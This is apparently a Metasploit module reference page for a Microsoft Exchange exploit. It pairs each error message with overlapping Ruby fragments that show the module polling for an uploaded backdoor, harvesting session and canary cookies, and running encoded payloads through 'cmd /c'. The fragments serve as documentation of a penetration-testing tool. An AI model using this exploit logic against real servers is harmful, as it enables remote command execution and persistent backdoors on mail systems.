418:	        break
419:	      end
420:	
421:	      print_warning('Waiting for the payload to be available')
422:	      sleep 5
423:	      i += 1
424:	    end
425:	    fail_with(Failure::PayloadFailed, 'Could\'t access the remote backdoor (see. ExchangePathBase option)') if received.code == 302
426:	

Could't access the remote backdoor (see. ExchangePathBase option)


Here is a relevant code snippet related to the "Could't access the remote backdoor (see. ExchangePathBase option)" error message:

420:	
421:	      print_warning('Waiting for the payload to be available')
422:	      sleep 5
423:	      i += 1
424:	    end
425:	    fail_with(Failure::PayloadFailed, 'Could\'t access the remote backdoor (see. ExchangePathBase option)') if received.code == 302
426:	
427:	    [input_name, remote_file]
428:	  end
429:	
430:	  def search_oab(server_name, sid)

No 'ASP.NET_SessionId' was found


Here is a relevant code snippet related to the "No 'ASP.NET_SessionId' was found" error message:

445:	        auth_session = "ASP.NET_SessionId=#{session_id}; msExchEcpCanary=#{canary};"
446:	        oab_id = request_oab(server_name, sid, auth_session, canary)
447:	      end
448:	    end
449:	
450:	    fail_with(Failure::NotFound, 'No \'ASP.NET_SessionId\' was found') if session_id.nil? || session_id.empty?
451:	    fail_with(Failure::NotFound, 'No \'msExchEcpCanary\' was found') if canary.nil? || canary.empty?
452:	    fail_with(Failure::NotFound, 'No \'OAB Id\' was found') if oab_id.nil? || oab_id.empty?
453:	
454:	    print_status("ASP.NET_SessionId: #{session_id}")
455:	    print_status("msExchEcpCanary: #{canary}")

No 'msExchEcpCanary' was found


Here is a relevant code snippet related to the "No 'msExchEcpCanary' was found" error message:

446:	        oab_id = request_oab(server_name, sid, auth_session, canary)
447:	      end
448:	    end
449:	
450:	    fail_with(Failure::NotFound, 'No \'ASP.NET_SessionId\' was found') if session_id.nil? || session_id.empty?
451:	    fail_with(Failure::NotFound, 'No \'msExchEcpCanary\' was found') if canary.nil? || canary.empty?
452:	    fail_with(Failure::NotFound, 'No \'OAB Id\' was found') if oab_id.nil? || oab_id.empty?
453:	
454:	    print_status("ASP.NET_SessionId: #{session_id}")
455:	    print_status("msExchEcpCanary: #{canary}")
456:	    print_status("OAB id: #{oab_id[1]} (#{oab_id[0]})")

No 'OAB Id' was found


Here is a relevant code snippet related to the "No 'OAB Id' was found" error message:

447:	      end
448:	    end
449:	
450:	    fail_with(Failure::NotFound, 'No \'ASP.NET_SessionId\' was found') if session_id.nil? || session_id.empty?
451:	    fail_with(Failure::NotFound, 'No \'msExchEcpCanary\' was found') if canary.nil? || canary.empty?
452:	    fail_with(Failure::NotFound, 'No \'OAB Id\' was found') if oab_id.nil? || oab_id.empty?
453:	
454:	    print_status("ASP.NET_SessionId: #{session_id}")
455:	    print_status("msExchEcpCanary: #{canary}")
456:	    print_status("OAB id: #{oab_id[1]} (#{oab_id[0]})")
457:	

Server did not respond in an expected way


Here is a relevant code snippet related to the "Server did not respond in an expected way" error message:

477:	    request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil?
478:	    request = request.merge({ 'cookie' => opts[:cookie] }) unless opts[:cookie].nil?
479:	    request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil?
480:	
481:	    received = send_request_cgi(request)
482:	    fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received
483:	
484:	    received
485:	  end
486:	
487:	  def soap_autodiscover

Dumping command output in response


Here is a relevant code snippet related to the "Dumping command output in response" error message:

577:	      if !cmd_windows_generic?
578:	        execute_command(payload.encoded)
579:	      else
580:	        response = execute_command("cmd /c #{payload.encoded}")
581:	
582:	        print_warning('Dumping command output in response')
583:	        output = response.body.split('Name                            :')[0]
584:	        if output.empty?
585:	          print_error('Empty response, no command output')
586:	          return
587:	        end

Empty response, no command output


Here is a relevant code snippet related to the "Empty response, no command output" error message:

580:	        response = execute_command("cmd /c #{payload.encoded}")
581:	
582:	        print_warning('Dumping command output in response')
583:	        output = response.body.split('Name                            :')[0]
584:	        if output.empty?
585:	          print_error('Empty response, no command output')
586:	          return
587:	        end
588:	        print_line(output)
589:	      end
590:	    when :windows_dropper

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References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Orange Tsai
  • Jang (@testanull)
  • mekhalleh (RAMELLA Sébastien)
  • print("")
  • lotusdll
  • Praetorian

Version


This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

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